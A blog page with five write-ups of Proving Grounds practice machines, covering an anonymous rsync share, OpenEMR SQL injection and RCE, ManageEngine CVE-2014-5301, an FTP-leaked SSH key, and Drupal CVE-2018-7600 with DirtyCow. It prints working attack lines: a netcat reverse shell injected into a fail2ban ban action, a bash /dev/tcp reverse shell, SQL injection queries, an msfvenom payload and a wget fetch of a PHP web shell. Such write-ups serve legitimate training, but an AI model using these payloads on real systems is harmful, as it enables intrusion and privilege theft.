AlexJaen.io

Fail - Proving Grounds Practice

2023-06-28T00:00:00+00:00

Linux

This blog post is a writeup of the Fail machine from Proving Grounds Practice.

Summary

The server runs a Rsync service which shares a /home folder without password.
Uploading a SSH key to this shared folder allows us to connect via SSH as fox user.
Fox user belongs to fail2ban group so we are able to modify some config files from this service.
Modifying /etc/fail2ban/action.d/iptables-multiform.conf and changing the actionban rule by a reverse shell line we are able to catch a reverse shell as root user.

Detailed steps

Enumeration

This machine has only two open ports –> 22-SSH and 873-RSYNC

I started as always just enumerating the open ports with:

nmap -Pn -p- 192.168.186.126

I found a RSYNC service which is a remote and local file synchronisation tool. Nmap has a script to enumerate this service:

nmap -Pn -sV --script=rsync-list-modules -p 873 192.168.186.126

As we can see in the picture, Rsync it’s sharing a folder named fox.

Explotation

In order to exploit Rsync service, I tried to connect to fox folder using netcat:

@RSYNCD: 31.0
fox

The response from Rsync was OK which means that no password is needed to connect to this folder.

I used rsync to download the folder but it was empty.

Having in count that there is a SSH service i tried to create a SSH key to upload to the shared folder and log in as fox user.

1- Generating the SSH key:
![rsync4](\assets\images\pg-practice-fail\9.JPG)

2- Uploading the key to the server:
![rsync5](\assets\images\pg-practice-fail\13.JPG)

3- Connecting via SSH with our key:
![rsync6](\assets\images\pg-practice-fail\14.JPG)

Being fox user I was able to find the user flag:

Privilege escalation

I found that fox user belongs to the fail2ban group.

Fail2ban scans log files and bans IPs that show the malicious signs – too many password failures, seeking for exploits, etc.

Belonging to fail2ban group we are able to modify some configuration files.

In /etc/fail2ban/jail.conf file I was able to find the bantime (1 minute), numer of failures (2) and how much time the server bans a host (10 minutes).

Knowing this I decided to modify /etc/fail2ban/action.d/iptables-multiform.conf which contains the actionban rule. This rule sets the action the server will take when a host is banned.

I modified this file to open a reverse shell when a host is banned:

File permissions

actionban = /usr/bin/nc -e /usr/bin/bash 192.168.45.240 5566

In order to catch the reverse shell I opened a netcat listener and tried to login via SSH to get banned.

Once I get banned from the server I was able to catch the shell as root user:

Root flag:

Apex - Proving grounds Practice

2023-06-21T00:00:00+00:00

Linux

This blog post is a writeup of the Helpdesk machine from Proving grounds practice.

Summary

OpenEMR 5.0.1 it’s vulnerable to a sql injection that allows us to get a password hash.
Cracking this hash we can obtain the password and gain access to the web app.
OpenEMR it’s also vulnerable to RCE authenticated. Using the obtained password we are able to exploit it.
Once inside the victim’s machine we are able to reuse the same password to obtain root access.

Detailed steps

Enumeration

I started enumerating the open ports with:

nmap -Pn -p- 192.168.164.145

Knowing which ports are open, I executed an agressive nmap with:

nmap -A 192.168.164.145 -p 80,445,3306 -o nmapa.txt

As we can see in the last picture, there is a web server, a mysql server and a smb server. By accessing the website I was able to see a sanitary webpage. By clicking on Scheduler I could access to a login page.

This login page shows that we are in front of a OpenEMR

In order to find out the OpenEMR version, I found a common OpenEMR directory named ‘sql’ which was present in this server. This directory stores sql files which are generated in the updates. Knowing this, we can deduce OpenEMR version (5.0.1 in this case).

Also this directory contains some more interesting files as database.sql. This file shows the structure of the OpenEMR database.

Explotation

This OpenEMR version is vulnerable to some sql injections we can find in the following report: https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf

This image shows the vulnerable files:

Trying to search for these files I was able to acces to “add_edit_event_user.php” so I worked with this file.

To make this job easier, I looked in the database.sql file mentioned above. I could find a table named ‘user_secure’ which contains usernames and passwords.

After some attemps, I found a valid query using “substring” which can extract half password hash:

Modifying this query I was able to get the other half (just replacing 1,32 by 32,60):

Querys:

eid=1 AND EXTRACTVALUE(0x3b,(SELECT Substring(password,1,32)FROM users_secure LIMIT 0,1)))
eid=1 AND EXTRACTVALUE(0x3b,(SELECT Substring(password,32,64)FROM users_secure LIMIT 0,1)))

Hash:

$2a$05$bJcIfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC

I used this page to analyse the hash –> https://hashes.com/es/tools/hash_identifier As we can see in the picture, we are in front of a bcrypt $2*$, Blowfish (Unix)

Knowing the type of hash I cracked it with hashcat:

Now, having this password I was able to log in successfully to the web portal as admin user:

OpenEMR 5.0.1 is also vulnerable to a remote code execution (authenticated). This means that at this point I could exploit it.

In order to gain access I downloaded a python exploit from: https://www.exploit-db.com/exploits/48515 Opening a netcat listener and executing this exploit with the following paramaters, I was able to catch the shell.

python2 45161.py http://192.168.164.145/openemr -u admin -p thedoctor -c "bash -c 'bash -i >& /dev/tcp/192.168.164.145/5555 0>&1'"

Being www-data user I was able to find the user flag:

Privilege escalation

In order to elevate privileges I have been looking for a way for a while until I realised that I could use the previously obtained password again. Just typing su root and using “thedoctor” as password I was able to log in as root and find the root flag.

Helpdesk - Proving grounds Practice

2023-06-15T00:00:00+00:00

Windows

This blog post is a writeup of the Helpdesk machine from Proving grounds practice.

Summary

ManageEngine allows us to access with the default credentials.
Having a valid user, we are able to exploit CVE-2014-5301 and get a reverse shell as a privileged user.

Detailed steps

Enumeration

I started just enumerating the open ports with:

nmap -Pn -p- 192.168.152.43

Knowing which ports are open, I executed an agressive nmap with:

nmap -A -Pn --script=vuln 192.168.152.43 -p 135,139,445,3389,8080 -o nmapa.txt

As we can see in the last picture, there is a web server in 8080 port. By accessing the website I was able to see a ManageEngine ServiceDesk Plus 7.6.0

Explotation

This ManageEngine version is vulnerable to CVE-2014-5301

Vulnerability:  CVE-2014-5301
System Vulnerable: ManageEngine 
Vulnerability Explanation: Directory traversal vulnerability in ServiceDesk Plus MSP v5 to v9.0 v9030; AssetExplorer v4 to v6.1; SupportCenter v5 to v7.9; IT360 v8 to v10.4.  
Severity: high

In order to gain access I downloaded a python exploit from: https://github.com/PeterSufliarsky/exploits/blob/master/CVE-2014-5301.py

To exploit this vulnerability you need to have a valid username and password so I decided to search the default credentials used by ManageEngine.

Google search:

To my surprise, it worked
Now, having our valid credentials, it is necessary to create the payload in a WAR file with mfsvenom:
```
 msfvenom -p java/shell_reverse_tcp LHOST=192.168.45.231 LPORT=5555 -f war > shell.war
```
Before executing the payload I opened a netcat listener on 5555 port.
The last step was run the exploit indicating the target, a valid credentials and our WAR file:
```
 ./exploit.py 192.168.152.43 8080 administrator administrator shell.war
```

After running the exploit I was able to catch the reverse shell as a high privileged user.

Being NT Authority\System I could find the root flag in Administrator’s desktop

OnSystemShellDredd - Proving grounds Play

2023-06-13T00:00:00+00:00

Linux

This blog post is a writeup of the OnSystemShellDredd machine from Proving grounds play.

Summary

FTP service allows us to access as anonymous user and obtain a RSA SSH key.
This key can be used to access via SSH.
Having access an attacker can exploit a command with the SUID to elevate privileges.

Detailed steps

Enumeration

This machine has only two open ports –> 21-FTP and 61000-SSH

I started as always just enumerating the open ports with:

nmap -Pn -p- 192.168.187.130

Knowing which ports are open, I executed an agressive nmap with:

nmap -A --script=vuln 192.168.247.130 -p 21,61000 -o nmapa.txt

Explotation

In order to gain access I tried to login as anonymous user in FTP service. I was able to access and find a SSH key:

I downloaded the SSH

This key allowed me to login via SSH as “hannah” with:

ssh -i id_rsa hannah@192.168.187.130 -p 61000

Having access as hannah, I was able to find the user flag:

Privilege scalation

In order to elevate privileges I used Linpeas.sh –> https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS Linpeas found an interesting command with SUID : cpulimit

As we can see in the following picture, I was able to execute a root bash shell with cpu limit and find the root flag:

Root flag:

Lampiao - Proving grounds Play

2023-06-13T00:00:00+00:00

Linux

This blog post is a writeup of the Lampiao machine from Proving grounds play.

Summary

The webserver has a vulnerable Drupal version to RCE.
We access exploiting this vulnerability.
We are able to find credentials which allows us to login with a higher privileged user than www-data.
The Linux kernel version it’s vulnerable to dirtycow.
Exploiting this dirtycow vulnerability allows us to gain access as root user.

Detailed steps

Enumeration

There’s a webserver, a SSH service and another interesting open port (1898) running on this box.

Let’s take a closer look at these ports with Nmap.

 nmap -A 192.168.201.48 -p 22,80,1898 -o nmap_lampiao.txt

As we can see in the last picture, the 1898 port it’s running an HTTP service. Nmap HTTP enum returns some interesting files as CHANGELOG.TXT

CHANGELOG.txt it’s a common file in Drupal which shows the current version. In this case the current version it’s 7.54.

Explotation

Drupal 7.54 it’s vulnerable to a remote code execution as we can see in CVE-2018-7600 –> https://www.drupal.org/sa-core-2018-002 To exploit this vulnerability I used the following python code –> https://github.com/pimps/CVE-2018-7600

The first step was to check the vulnerability. I successfully executed the exploit with id command.

 python3 drupa7-CVE-2018-7600.py http://192.168.201.48:1898 -c id

Now, in order to gain access to the victim’s machine, I uploaded a PHP revershell to the webserver.

Configuring the webshell:

After configuring the webshell, I opened an HTTP server on my Kali machine with python in my webshell directory:

 python3 -m http.server 443

To upload the webshell I used the python exploit to execute a wget command on the victim’s machine:

 python3 drupa7-CVE-2018-7600.py http://192.168.201.48:1898 -c "wget http://192.168.45.177:443/php-reverse-shell.php"

At this point, I was able to access to my webshell on victim’s machine and capture the shell running a Netcat listener.

Having access to www-data user I was able to find the first flag:

Privilege scalation

In order to elevete my privileges I used Linpeas.sh –> https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

Linpeas found the following files with an interesting credentials:

This credentials allowed me to log in via SSH as “tiago” user

Linpeas found a kernel vulnerability too:

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

Kernel version:

To exploit this vulnerability I downloaded the exploit code and compiled it with:

g++ -Wall -pedantic -02 -std=c++11 -pthread -o exploit 40847.cpp -lutil

After compiling, I ran the exploit with:

./exploit -s

As we can see in the last picture, I was able to gain access to root user executing this kernel exploit. Root access allowed me to find the last flag: